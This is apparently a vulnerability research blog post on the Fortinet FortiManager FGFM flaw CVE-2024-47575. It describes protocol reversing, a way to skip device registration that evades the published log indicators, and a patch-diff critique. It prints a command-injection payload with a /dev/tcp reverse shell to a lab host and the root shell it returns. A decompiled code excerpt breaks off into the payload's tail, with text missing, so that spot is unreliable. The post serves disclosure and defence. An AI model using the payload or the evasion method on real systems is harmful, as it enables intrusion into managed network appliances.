# Hop-Skip-FortiJump-FortiJump-Higher – Fortinet FortiManager CVE-2024-47575
It’s been a tricky time for Fortinet (and their customers) lately – arguably, even more so than usual. Adding to the steady flow of vulnerabilities in appliances recently was a nasty CVSS 9.8 vulnerability in _FortiManager_, their tool for central management of FortiGate appliances.
As always, the **opinions** expressed in this blog post are of the watchTowr team alone. If you don’t enjoy our opinions, please scream into a paper bag.
Understandably, for a vulnerability with such consequences as ‘all your appliances get popped’, there has been in-the-wild exploitation for quite some time – Mandiant advises since June. Everyone who is anyone has blogged about the issue, and there have even been _webinars_ about the vulnerabilities. _Webinars._ That’s how big a deal this vulnerability is.
Sometimes used in tandem with CVE-2024-23113, sometimes used on its own, it’s just the kind of thing that keeps device administrators up at night worrying, and rightly so—mass exploitation has occurred, and no box is safe.
As you’d expect, though, Fortinet has released a patch, and Mandiant has published some helpful IoCs. Business as usual, right? A vulnerability wielded by a friendly APT, a patch and an endless cycle for us to rally around.
Well, not so much, actually.
Given our never-ending quest to protect our clients, we set out to reproduce the vulnerability/vulnerabilities in our lab. However, our adventure soon stumbled into some new information, finding a couple of DoS vulnerabilities and what we suspect is a new vulnerability that allows an authenticated managed FortiGate device to take control of the FortiManager instance.
We also found that the published IoC, while helpful, may not cover all attacks.
Read on for our analysis and recommendations.
### Our Research
As regular readers will know, we love to detect vulnerable devices simply by exploiting them, and FortiJump seemed to be a good candidate for that. We set out to reproduce it in our lab environment, but in the process of doing so, we came across some new issues that changed our view of the vulnerability significantly. In particular, we found a new vulnerability, which we’ve termed ‘FortiJump Higher’. We also found two file overwrite vulnerabilities which could be leveraged to crash the system. The low complexity of these vulnerabilities brings into question the overall quality of the FortiManager codebase.
Of course, we informed Fortinet of all the issues we found. However, we made the somewhat unusual decision to disclose the details of the main issue, the privilege escalation vulnerability, in full detail ahead of remediation advice or patches being issued.
This was for a number of reasons.
Most importantly, the original FortiJump vulnerability is under active, mass exploitation _right now._
Given the similarity of our new ‘FortiJump Higher’ vulnerability to the original vulnerability, and for reasons that will become apparent as technical details unfold later in this post, we firmly believe that the adversaries that understand the original vulnerability on a technical level are also aware of our new vulnerability.
Since it allows for a managed FortiGate appliance to elevate privileges and seize control of FortiManager, it is conceivable that it would be used in future campaigns alongside some other as-yet-undiscovered FortiGate appliance 0day. We’re keen to prevent this from happening by addressing the vulnerability early.
Additionally, we firmly believe that, based on our analysis and in our opinion, Fortinet’s patch for FortiJump vulnerability is incomplete – and customers of said appliances, in our opinion (do you see a theme?) need to be aware that it is not the time to put their guard down.
In short, we aren’t the baddies here—we’re trying very hard to keep the Internet secure despite aforementioned vulnerabilities.
### FortiJump – Let’s Dive Deep
As we stated before, FortiJump is a vulnerability not in Fortigate devices, such as their firewalls and other appliances, but in _FortiManager_, a tool used by device administrators to maintain entire fleets of appliances.
For example, an organization may have tens or even hundreds of appliances scattered throughout its infrastructure—managing each individually would be a somewhat Sisyphean task, and so Fortinet provides a solution called FortiManager for central administration.
However, this puts FortiManager in a fairly critical position, and thus, you’d assume that it was built to at least the same standard as Fortinet’s other secure appliances.
Let’s take a look at the software and, in particular, the protocol used to communicate with appliances, _FGFM_.
### FGFM
FGFM – or ‘FortiGate-to-FortiManager [protocol]’ – is the protocol used by FortiGate appliances to liaise with FortiManager. Our regular readers may recognize the acronym from our previous post, in which we exploit a format string vulnerability in the FortiGate appliance side of FGFM and it’s usage.
As we stated in this previous analysis, there’s a handy protocol guide available from Fortinet, which details the protocol (surprise surprise for a protocol guide) – it runs on TCP port 541 and is tunneled over TLS, for example.
Details around the innards of this magical protocol can be obtained using the debug commands on both the FortiGate appliance, and the FortiManager appliance while carrying out actions.
One thing that makes our lives easier is that Fortinet consistently prioritises (like other appliance manufacturers) debugging capabilities over code security (actually, it’s our opinion that they prioritise a lot over code security, but regardless) making our lives signifcantly easier when trying to work out what’s going on.
For those following along at home, let’s enable this functionality:
“`
FGT# diagnose debug enable FGT# diagnose debug application fgfmd -1 Debug messages will be on for 30 minutes.
“`
The first step in using FortiManager is to register your favourite FortiGate appliance with your instance of FortiManager. This is a trivial task, as demonstrated below:
“`
FGT# config system central-management FGT# set type fortimanager FGT# set fmg FGT# end
“`
Already, Fortinet’s prioritised commitment to debugging is demonstrated – we’re greeted with some useful information (this example is taken from the Fortinet documentation because we are lazy – leave us alone):
“`
FGFMs: Set managment id 247331677 OK. FGFMs: [__chg_by_fgfm_msg] set keepalive_interval: 300 FGFMs: [__chg_by_fgfm_msg] set channel buffer/window size to 32768 bytes FGFMs: [__chg_by_fgfm_msg] set sock timeout: 900 FGFMs: [fgfm_msg_put_tuninfo] vdom=’root’, physical_intf=, intf=’wan1’ FGFMs: client:send: get ip first_fmgid= probe_mode=yes vdom=root intf=wan1 FGFMs: client: reply 200 overwrite_fmgid=1 request=ip ip=169.254.0.2 mgmtid=247331677 register_status=1 fmg_ip=192.168.48.46 keepalive_interval=300 chan_window_sz=32768 sock_timeout=900
“`
Useful!
There are some debug messages, and then a plaintext packet dump. This is almost enough information for us to reimplement the protocol ourselves, but not quite – there are (if you recall from the previous post) a few binary bytes in there too, so let’s place some breakpoints and see exactly what gets transmitted before that pesky TLS:
Straightforward – there’s a four-byte magic number (0x36e01100), followed by a packet length (0x0178).
After this, there is a “command”, in this case `get ip`, and then a number of newline-terminated key-value pairs, each delimited by an equal sign.
Nothing too complicated here, so let’s go ahead and write some code to register our own fictional ‘FortiGate appliance’ with FortiManager.
Now, yes, we can hear you—we haven’t addressed one nuance (which is really not a nuance, so pipe down).
In addition to running FGFM over TLS, the channel requires _mutual authentication_ – ie, in addition to FortiManager being authenticated by the FortiGate appliance, the FortiGate appliance also uses a certificate to authenticate itself to FortiManger.
We initially extracted the `factory.crt` certificate from our FortiGate appliance VM, and used this to authenticate as a device, but soon found that attempts to register would be ignored by the FortiManger stack. Some debugging ensued – while listening to some podcast about finding subdomains and how to do ASM ‘properly’ – and we eventually found that the CN field of the TLS certificate supplied by the FortiGate appliance must match the `serialno` provided in the registration request for the request to be successful.
TL;DR it was clear we were using an incorrect certificate.
The certificate that is presented by the FortiGate appliance to FortiManager must be signed by a specific CA, stored on the FortiGate appliance itself. While it is certainly possible to extract the CA and issue our own certificates, we opted for the easier path of extracting the certificate already generated for our test device. It’s worth noting that this step provides an (albeit weak) barrier-to-entry – a would-be attacker must be in possession of a certificate, extracted from an appliance, or the CA, also extracted from an appliance, before they are able to communicate with FortiManager.
Extracting the correct certificate requires some additional legwork, as we dumped the memory of a running VM and picked through it with a forensic tool. Nonetheless, after doing so, we were rewarded with a valid certificate, allowing us to send a registration request for our malicious appliance, which then shows up in the device table:
“`
> diagnose dvm device list — There are currently 1 devices/vdoms managed — — There are currently 1 devices/vdoms count for license — TYPE OID SN HA IP NAME ADOM IPS FIRMWARE HW_GenX unregistered 166 FGVMEVWG8YMT3R63 – 192.168.1.110 FGVMEVWG8YMT3R63 root 7.0 MR2 (1255) N/A
“`
You’ll note that the ‘type’ field here is set to ‘unregistered’. This indicates that the FortiGate appliance is not completely trusted by the FortiManager instance, which requires an Administrator to approve the connection before it is completely happy:
One would expect that the FortiManager would simply ignore requests from such ‘unregistered’ FortiGate’s and that we would need to find a way to subvert some enterprise-grade control to rectify this, but – we specifically noticed that the public IoCs specify that ‘unexpected devices’ may show up in the ‘unregistered’ state:
Given this, we yolo’d this concern away and assumed we’d met the first prerequisite needed to exploit an enterprise-grade security appliance.
The next logical step, as you may expect, was to enumerate functional attack surface – finding valid commands other than the registration mechanism exposed by `get ip`.
To do this, we dove into `fgfmsd`, the binary responsible for decoding the protocol. Unfortunately, commands are not stored in a nice jump table in the binary, as one might expect, but instead are scattered around in a decision tree, further lengthening the amount of time required for analysis (thanks for the help Fortinet).
As you can imagine, it was like Christmas – with a huge amount of commands having interesting-looking names, such as `put_config`. However, the one that really caught our eye was `put_json_cmd`.
This command, as you can see below, presented itself as a simple wrapper – it parses a JSON object and passes it to `svc_rpc_uclient`.
“`
if ( strcmp(a1.command, “put_json_cmd”) == 0 ) { fgfm_dbg(32LL, v2, “### %s finished, file_name=%s\n”, a1.command, a1.file_name); if ( a1.field_at_296 ) { v20 = a1.someHandler(); jsonFileObj = json_object_from_file(a1.file_name); unlink(a1.file_name); a1.file_name[0] = ‘\0’; if ( jsonFileObj && jsonFileObj & /dev/tcp/192.168.1.1/80 0>&1`” } } ] }
“`
You’ll notice we’ve even included a nice callback shell via the `/dev/tcp` device node (which, fortunately, the FortiManager appliance exposes).
A hop, skip, jump away – when we send this sequence, we’re rewarded with a nice callback shell:
“`
nc -lvvnp 80 listening on [any] 80 … connect to [192.168.1.1] from (UNKNOWN) [192.168.1.110] 22658 sh: cannot set terminal process group (27128): Inappropriate ioctl for device sh: no job control in this shell sh-5.2# id id uid=0(root) gid=0(root) sh-5.2# hostname hostname FMG-VM64 sh-5.2#
“`
As always, we provide our interactive detection artefact generator tooling, along with the certificates required to run it:
Some may criticise our release of this PoC, and particularly the release of device certificates, but we’re confident that it is in the best interests of FortiManager administrators.
Given the confusion over the vulnerability and its variants, we find it particularly important to empower those who need a reliable, simple way to prove their environment is patched (or vulnerable), and this is only practical if we release a fully functional exploit, complete with certificate material.
We note that the device serial number is encoded in the the certificate’s CN field, making it a very obvious certificate for those administrators who wish to detect it’s use.
Of course, since details are so scarce at this point, we can’t be 100% sure that this is indeed the FortiJump vulnerability, but we can be pretty certain.
For example (Example means not exhaustive, to demonstrate in case you want to sit there and suggest it’s not complete. Swallow a dictionary.), the IoCs that Mandiant publishes align with the vulnerability we found.
Most tellingly, Mandiant advises that the FortiManager system log contains the tell-tale entry `changes=”Added unregistered device to unregistered table.”` after exploitation attempts, indicating the device is in the unregistered state, which tallies with our exploitation.
Here’s a demo of our FortiJump PoC in action:
### Stealth mode – avoiding the IoCs
We’ve seen many people patch their FortiManager instances and immediately review logs for the Mandiant-issued IoCs, which isn’t a bad step in itself. Somewhat worryingly, though, we also found that the main IoCs, pertaining to an unregistered device being added to the system, could be easily bypassed, and exploitation could occur without generating any log noise at all.
Of the six IoCs which Mandiant published – reproduced above – three are relevant to us, those which result in entries being generated in the `/log/locallog/elog` file. These are all the consequences of an attacker adding an unregistered device to FortiManager, a particularly noisy action that even shows up in the web UI and other device interfaces:
Any attacker calling themselves ‘advanced’ doesn’t want their rogue devices showing up in the ‘unauthorized devices’ table, and so we wondered – was FortiManager so badly written that we could just send our attack packets, without sending any type of device registration at all? Could we simply… skip the step that generates the noise?
Er, well, yes, actually. There’s no need to mess around with extracting the correct certificate, and no need to hand-craft a `get ip` packet for registration. Attackers can simply send `get file_exchange` and `channel` packets, and will be let straight in – bypassing the three `elog` indicators and leaving no trace in the system logs. This seems like a big deal, and something that device administrators should be aware of!
What we didn’t mention, and is worth highlighting – during the above, we were presented with behaviour that **looked** like Fortinet turned off the FortiManager trial licensing servers. Curious, but we’re sure it stopped the APTs that had been exploiting these vulnerabilities all year. Woo, theatre!
### Jumping Higher
This just about brings you up-to-date with the FortiJump vulnerability. You can be a little more up-to-date if you watch a Mandiant and Fortinet vulnerability about this absolute disaster (in our opinion), you’ll get a CPE for your CISSP, and you’ll get to hear someone whine about FortiJump Higher.
As you can predict, the story never ends so simply – let’s continue.
In order to confirm that our vulnerability is, indeed, the FortiJump that we were looking for, we pulled down a patched and a vulnerable edition of the codebase (7.6.0 and 7.6.1, to be exact), and compared the contents, looking for binaries that had changed, and examining them for the tell-tale signs of an ex-vulnerability.
While we were unable to find anything that blocked our actual vulnerability, we did find the following:
It’s pretty clear that this is an attempt to patch a command injection – the dangerous `system` call we see on the left (7.6.0) has been replaced with the (presumably safe) `fm_exec` in 7.6.1. What’s confusing, however, is that this _isn’t_ the command injection we found ourselves – rather, this is in a function named `dmworker_rcs_checkout` reachable from (as you would imagine) the `rcs/checkout` handler, rather than the `som/export` function we attack.
It isn’t even in the same _binary_ as the code we found – rather than `fdssrvd`, where our vulnerability lives, this diff is from `libdmserver.so`.
What’s going on here?
Well, you might suspect (as we did) that we had discovered a second entry point to the same FortiJump vulnerability. After a lot of head-scratching and reversing, though, we were still unable to correctly trigger this code path.
**This implies that Fortinet have simply patched the wrong code, in the wrong file, in an entirely different library.**
**(Again, dictionary swallowers, ‘implies’ is an important word here)**
While we don’t have visibility into the inner workings of APT groups, in our opinion it seems highly likely that successful APT groups are not entirely stupid, and hold a high probability that if they found one vulnerability in this magical solution of spaghetti – they likely spotted others, which Fortinet have left untouched.
Somewhat fortunately, though, Fortinet also undertook other modifications to their codebase, and now device registration is required before communication is possible. This has the effect of turning our vulnerability into a post-authentication privilege escalation attack, instead of the full RCE that is FortiJump.
Since device registration is now required, it also means that other vulnerabilities no longer work on patched boxes, which is some consolation, and makes the attack much more noisy.
For those frothing at the mouth for some carnage, here’s a video of our new ‘FortiJump Higher’ vulnerability in action. This code is the basis for our safe and reliable method for detecting vulnerable FortiManager installations. There isn’t a separate exploit for this bug – it’s the same exploit code as before, but this time running from a compromised Fortigate device. It will assume the identity of the compromised appliance.
For the avoidance of doubt – Fortinet have these details already (this was alluded to in the webinar, in case you missed it).
### Sigh, Again
So, there you have it.
As far as we can make out, Fortinet just patched a chunk of irrelevant (dead?) code and left the actual vulnerability alone, wide open for attackers. This opens up a _load_ of interesting questions – did Fortinet actually repro the issue before ‘fixing’ it?
How did they (or rather, ‘did they’) actually test their ‘fix’? Is this the usual way that Fortinet ‘address‘ security issues?
Have they just been lucky that previous patches for other issues have actually mitigated the issue?
And the final, most important question of all for you the reader – is this real security? You be the judge.
While the FortiJump patch does effectively neutralise the devastating RCE that is FortiJump, we’re still a little concerned about FortiManager’s overall code quality. We note that our `som/export` vulnerability, ‘FortiJump Higher’, is still functional, even in patched versions, allowing adversaries to elevate from one managed FortiGate appliance to the central FortiManager appliance. This has the effect of changing the threat model for FortiManager installations considerably, since pwnership of any managed FortiGate appliance is easily elevated to FortiManger itself, and thus to all other managed appliances.
And.. well, FortiGate’s have had a couple of serious vulnerabilities in recent memory. Fingers crossed there aren’t more.
To reiterate our rationale for disclosure: we’re convinced that adversaries who have had even a cursory look at FortiManager (and we know that they have because they’ve been exploiting FortiJump) are aware of this variant of the attack, and we’re concerned that, coupled with whatever 0day RCE Fortinet FortiGate appliances suffer next, administrators may otherwise blindsided by the ability of attackers to pivot effectively through their FortiManager installation – making effective response even harder.
It’s vital, in today’s fast-paced world, that administrators have an easy and reliable way to test if their installations are vulnerable to the latest threats. We can’t expect every FortiManager sysadmin to perform memory forensics on a VM, for example, in order to extract device certificates. We feel very strongly that releasing a fully-functional exploit is the only real way to achieve this goal, and that it will have the ultimate effect of making the Internet a safer place.
We’re forced to imagine a world in which watchTowr didn’t exist (scary thought, I know – who would people whine about on webinars?!).
What would be the consequences of this botched fix? Maybe in a few months’ time, a particularly attentive sysadmin would notice a box being popped, and the public would find out about it. In the meantime, of course, advanced attackers were running around popping boxes as they see fit.
We’re not even touching on the _other_ issue here, which is ‘should such a simplistic command-injection vulnerability have even been present in the central management console of a ‘hardened’ security device?’. We’re giving Fortinet the benefit of the doubt and instead judging them simply based on their reaction.
While we generally try to resist speculation on the internals of vendor’s development teams, it is very alarming that Fortinet appears to have botched this patch so badly (in our opinion). They have (in our opinion), in essence, patched the wrong code, leaving device administrators with a false sense of security. Coupled with administrators relying on the easily-sidesteppable IoC, we’re left in a disastrous situation.
We aren’t Fortinet customers ourselves—for somewhat obvious reasons —so we aren’t privy to their pricing structure, but we can imagine that it is at ‘enterprise level’. It is a shame, then, that their various codebases don’t seem to be at a similar level of maturity (in our opinion).
At watchTowr, we believe continuous security testing is the future, enabling the rapid identification of holistic high-impact vulnerabilities that affect your organisation.
It’s our job to understand how emerging threats, vulnerabilities, and TTPs affect your organisation.
If you’d like to learn more about the **watchTowr Platform** **, our Attack Surface Management and Continuous Automated Red Teaming solution**, please get in touch.